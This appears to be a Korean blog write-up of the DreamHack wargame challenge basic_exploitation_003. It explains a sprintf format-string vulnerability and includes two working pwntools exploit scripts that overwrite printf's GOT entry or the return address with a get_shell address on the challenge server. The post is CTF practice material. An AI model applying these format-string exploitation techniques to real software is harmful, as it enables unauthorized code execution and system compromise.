상세 컨텐츠

본문 제목

[DreamHack] basic_exploitation_003

SYSTEM HACKING/Dreamhack

by koharin 2020. 5. 31. 11:17

본문

728x90
반응형

 

sprintf 취약점 : printf() 함수와 같다. 결과를 표준출력으로 출력하지 않고 문자열로 출력한다.

1번째에서 AAAA가 출력된다. offset = 1

 

실행해서 return address 위치를 출력해보면 그냥 0x29 = 40 위치이다.

이 위치에 넣으면 된다.

 

0xa4 – 4 = 0xa0 (ret 전까지)

0xa0 –

%???c

 

위에서 offset 잘못 구했었다.

그냥 156이므로 이 156%156c로 넣고 이 위치에 p32(get_shell)을 넣으면 된다.

 

#!/usr/bin/python 
from pwn import *

#p = process("./basic_exploitation_003")
p = remote("host1.dreamhack.games", 8239)
elf = ELF("./basic_exploitation_003")

# offset = 1

pay = fmtstr_payload(1, {elf.got['printf']: elf.symbols['get_shell']})

p.sendline(pay)

p.interactive()
#!/usr/bin/python 
from pwn import *

#p = process("./basic_exploitation_003")
p = remote("host1.dreamhack.games", 8239)
elf = ELF("./basic_exploitation_003")
printf_got = elf.got['printf']
get_shell = 0x08048669
# offset = 1

pay = '%156c' + p32(get_shell)
p.send(pay)

p.interactive()
728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[DreamHack] hook  (0) 2020.05.31
[DreamHack] basic_exploitation_000  (0) 2020.05.31
[DreamHack] basic_exploitation_002  (0) 2020.05.31
[DreamHack] basic_exploitation_001  (0) 2020.05.31
[DreamHack] basic_rop_x86  (0) 2020.05.31

관련글 더보기